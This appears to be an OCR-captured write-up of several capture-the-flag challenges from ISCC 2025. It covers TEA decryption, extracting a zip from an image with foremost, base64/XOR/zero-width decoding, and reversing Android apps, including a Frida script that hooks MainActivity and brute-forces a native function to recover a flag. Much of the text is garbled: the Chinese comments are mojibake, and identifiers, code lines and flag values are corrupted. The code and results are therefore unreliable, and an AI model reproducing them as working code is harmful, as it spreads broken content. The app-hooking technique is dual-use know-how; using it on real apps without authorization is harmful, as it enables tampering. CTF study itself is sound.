31 uint32_t v[3]= {0x02020204,0x04010104,0x04020202}; // XEFmRiZT—T
32 uint32_t const k[4]= {0x4907346D,0xD7COF489,0x238DDD1D,0x0029E6A9};
33 int n= 3;
34 btea(v, n, k);
35 for (int i = 0; i < 3; 1i++)
36 {
37 printf("ox%x ,",v[i]);
38 }
39 return 0;



BERERNERAFIRET, BANGFEDET—X, BEFTRIRMT

HEGIR

#0x16ec7242 ,0x48e5a51b ,0xafe88e08
a=[0x16,0xec,0x72,0x42,0x48,0xe5,0xa5,0x1b,0xaf,0xe8,0x8e,0x08]

1

2

3 for i in range(len(a)):

4 print(hex(ali]A(i+10))[2:],end="")

Misc

FiEKIM
foremost B — zip

(base) /home/starr
foremost attachment-5.jpg

Processing: attachment-5.jpg
foundat=message3l.txtee(eEeeepeeceTe_yneelleseljeFeefe]ee{5MeeojefeeTooei] oDe=0je5qeeD24eeeef ¢ |ee0e ! speceli ook oTeeosereeepecexGeslese;0eeeFeeeqPK

*|

B EE X ziphI =g



m attachment-5jpg Bt

Bl HEEE ke FHERS LERRE

5 =]

otz

fel

Fix

DR

tRic

&iF LOk8JhGFDsA
FeilR

==

HHHEREA

EFREFR

FRENHEA

hRAY

Ef&

Ef& ID

DR 1802 x 500
T 1802 &=
=E 500 &&=
IKEDHER 72 dpi
EEHOHE 72 dpi
SORE 24

JE48

e EViH W F(A)

REHRZEMxt, EEARRIHIINXT, BUERENNFHNEEHRNNIE, AShexi#hd

IEM 5:3F KB KR fi— KT I3 K] 28 A AE DS 4 AR T R KR A4 Ak 51T E— /NE L&
53 56 4e 44 51 33 74 46 57 47 68 49 57 45 39 31 4e 58 56 53 66 51 3d 3d



RIABE—Ebase64

Recipe ~ BB B Input + DOz 8=
53 56 4e 44 51 33 74 46 57 47 68 49 57 45 39 31 4e 58 56 53 66 51 3d 3d
From Hex ~0Q0n
Delimiter
Auto
From Base64 ~0n
Alphabet .
A-Za-z0-9+/=
Remove non-alphabet chars D Strict mode

mec 71 = 1 Tr Raw Bytes ¢ LF
Output g I—|:| M o
ISCC{EXhHXOUSUR}

=75 RBYE
BAA TR NEBERNME. - o
ERFREShttps://yuanfux.github.io/zero-width-web/

< > C 2 yuanfux.github.io/zero-width-web/ B & e

R _ ‘

2. Decode

Dx8CBEKAR3cWLGEGLYsSNAZN

iscc2025si71

3. Escape Regex

e _

base64+xor

Dx8CBEKAR3cWLGEGLYsSNAZN



https://yuanfux.github.io/zero-width-web/

Recipe

From Base64

Alphabet
A-Za-z0-9+/=

Remove non-alphabet chars

XOR

Key
iscc2025si71 uTre~

|:| Null preserving

Mobile
=S

~am B

~0n

D Strict mode

~ Q0 n

Scheme

Standard

frida—1812 (aifapIE3)

(RS ZEZS

1
2
3 var MA =
4
5
6

Java.perform(function() {

/) XTI F 75
var alphatable =

Input

DX8CBEkAR3cWLGEGLySSNAZM

nc 24 = 1

Output

flag{@uBeEV7FXqW4}|

var String = Java.use("java.lang.String");

Java.use("com.example.mobiled2.MainActivity");

Tr Raw Bytes

BOCR

"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ! #$%&\ ' () *x+,-./:
3<=>2@[\\1 {1 }"s

7
// stringFromIN1 EFZEiR[C]FIE trF 178

9 var target_stringInl_output = "022122011222021101000210012021010102";

10 /) WRIEDH, Flag B2 (Bl stringFromINl BJ3EIN) KEHN 6

11 var flag_part2_length = 6;

12

13 // —-—- Hook MainActivity HY onCreate F %, HAtRLHIRIHATBHRIT ——-

14 MA.onCreate.implementation = function (bundle) {

15 console.log("\n[*] MainActivity onCreate J/:A2#AR, HBHIT Flag WAZZ
CERNE

16

17 // 1 BE FLEARIER onCreate 7%, IR Activity IEEEE !!

18 this.onCreate(bundle);

19

“—

ra
La

LF



20
21
22
23
24
25
26
27
28
29
30
31
32

58
34
35

36

37
38
59
40

41
42
43
44
45
46
47

48

49

50

51

52

53
54

55

// TE onCreate JF;ZAEF#1T Java.choose ZEHHEISLH)
Java.choose ("com.example.mobiled2.MainActivity",{
onMatch : function(instance){
console.log("[+] ¥kZE| MainActivity 3Efl, ");

try {
// 1. IKBY stringFromIN1 BYiR[GIE (stringFromIN1 BYZEAZ#L)
var jnl_key = dnstance.stringFromIN1();
console.log("[*] IREUZEH (stringFromIN1 iR[EIE):", jnl_key);

// 2. FXBX stringFromINI("4sT'19") HY:R[EIE (Flag HIE—EL5)

var flag_partl_output = dinstance.stringFromINI("4sT'19");

console.log("[*] JREX Flag HIEE—EH
(stringFromINI('4sT\'19') iR[E1H):", flag_partl_output);

// 3. N stringFromIN1 BY%IN, #ZE Flag HI%E —E5

console.log(’ [*] FFEEHEN Flag HEZE D, KEMItH
${flag_part2_length} NFERF... );

var found_flag_part2_input = ""; // FAFHEE#ZFIE Flag F_
i)

/) BEPNZEFHEN Flag 9% —E85
for (var pos = 0; pos < flag_part2_length; pos++) {
console.log(’ [*] HMZE ${pos +
1}/${flag_part2_length} NFRF...");
var char_found_for_this_pos = false;

// Eiit alphatable HHIG—NFETF
for (var i = 0; i < alphatable.length; i++) {
var test_char = alphatable[i];
// PZEFNiAY stringFromINT 3N FFF&E
// Wz [EHEIRIFIEESS] + [HETWFRF] + [FIREK

ERA 'o' HZE]
// BEFHA '0' 28— TEEE CTF &I5, KIRETZIEIE
FIFXT A% R

var current_test_input = found_flag_part2_input +
test_char + "0".repeat(flag_part2_length - 1 - pos);

// BEER native 7%
var res_full_output =

instance.stringFromINL(jnl_key, current_test_input);

// RS SEIFRIIEXT B R (BT A FFY 6 T
HILHFH)

var expected_segment =
target_stringdnl_output.substring(pos * 6, (pos + 1) * 6);



56 var actual_segment = res_full_output.substring(pos
* 6, (pos + 1) * 6);

57

58

59 if (actual_segment === expected_segment) {

60 found_flag_part2_input += test_char;

61 console.log(® [+] % ${pos + 1} NFFFE:
'${test_char}'. B#EIE53: ${found_flag_part2_input} );

62 char_found_for_this_pos = true;

63 break;

64 }

65 }

66

67

68 if (!char_found_for_this_pos) {

69 console.error (" [-] $iR: KREEHKEFIFE ${pos + 1} IF
fFo HWMEK. *);

70

CAWINDOWS\system32\cmd.: X + v

More info at https://frida.re/docs/home/

.. Connected to Android Emulator 5556 (id=emulator-5556)
Spawned ‘com.example.mobile®2’. Resuming main thread!
[Android Emulator 5556::com.example.mobile®2 ]->
[*] MainActivity onCreate Fik#iiEH, FiaiT Flag HiRiBIE. ..
HE MainActivity SCHl,
#40 (stringFromIN1 jR[AI{H): 635ald70d1ldd74cf6c8UU3Ue9Ta56e05
ag ME—FB4> (stringFromINI('4sT'19') JR[EI{H): 'cV2Re'bU
Flag 98 — 8%, KEHIA 6 257 ...

i .
. BEXBNES

7', BIREIES :
2. BB

1, BHRBIES: Z7al

31, BRI 27al8
"ﬁ 2B E S Z7a18B
===== SN Flag &S :
CC{'cV2Re'bUZ7a!8B}

[*] Java.choos

Encode
apkig Njadx REIE A+ AHRRARA
RE—T R4i¥dex



goverride // androidx.fragment.app.FragmentActivity, androidx.activity.Componentdctivity, andreidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundlel) {
super.onCreate(bundlel;
setContentView (COY98R.layout.activity _main);
this.but_1 = (Butten) findViewById(COU98R.1id.Push_Yes);
this.edt_1 = (EditText) findViewById(COU498R.1id.Flag_Edit);
this.tv_1 = (TextView) findViewById(COU498R.id.Tip);
this .but_l.setOnClickListener(new View.OnClickListener() { // from class: com.example.encode.MainActivity.]
poverride // android.view.View.OnClickListener
public void onClick(view view] {
if (MainActivity.this.Jformat(MainActivity.this.edt_l.getText().toString(}3) {

Toast.makeText(MainActivity.this, "IN 11 ", 8).show(];
] else {
Toast.makeText(MainActivity.this, "§§i 5z, EEI0A! v, e).show();

H

¥
H

/% JADX INFO: Access modifiers changed from: private =/
public boolean Jfoermat(String str) {
int lastIndexOf = str.lastIndexOf("_"J;
if (lastIndex0f == -1 || str.length() < 1€ || !str.startswith("Iscc{") || !str.endsWith("}")} {
return false;
]
return nativeChedklLast(str.substring(lastIndex0f + 1, str.length() - 1)) && nativeCheckFormat(str);

FEFiEEnativeCheckLastfnativeCheckFormat® @, AidaF— Tlibencode.so, TEexportsiiE
B—TXRE PR
nativeCheckFormat:

memmove (

encode_front_par
if ((

281

nst _ m128i *)
_mm_movemask_epi8(
_mm_and_si128(
_mm_cmpeq_epi8(_mm_loadu_si
_mm_cmpeq_epi8(_mm_cvts
g =08 )

RIEENFEFEEMMEERER, BElxmmword_C400F1xmmword_C3EOm MNEE

nativeCheckLast:



int, const char *))(*(

MainActivity nativeCheckLast:67 (1E426)

892548408 X ML AN F DL 2 mbE G RYF AT ER
front@ 7 ciBflagHR s 0x2F, HBbase64
last2FciBflag@ N F1/7+3, BR¥%

FFfront:

Recipe ~ 3B ¥ Input + 0O nm =

FRXDDkxCHOLrHB tbRwSW
From Base64

Alphabet

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmno..

Remove non-alphabet chars D Strict mode
XOR ~
Key Scheme
2f HEX~ Standard
e 20 = 1 Tr Raw Bytes = LF
D Null preserving
Output a rD M o

R31!csefpaath! |

X Flast, 5T4:892548408NFFF, BRILTR3

me 15 = 1 (© ems Tr Raw Bytes 4= FF (detected)

HEGIR

1 a="'8535"



2 for i 1in range(len(a)-1,-1,-1):
3 print(chr(ord(al[i])-3),end="")



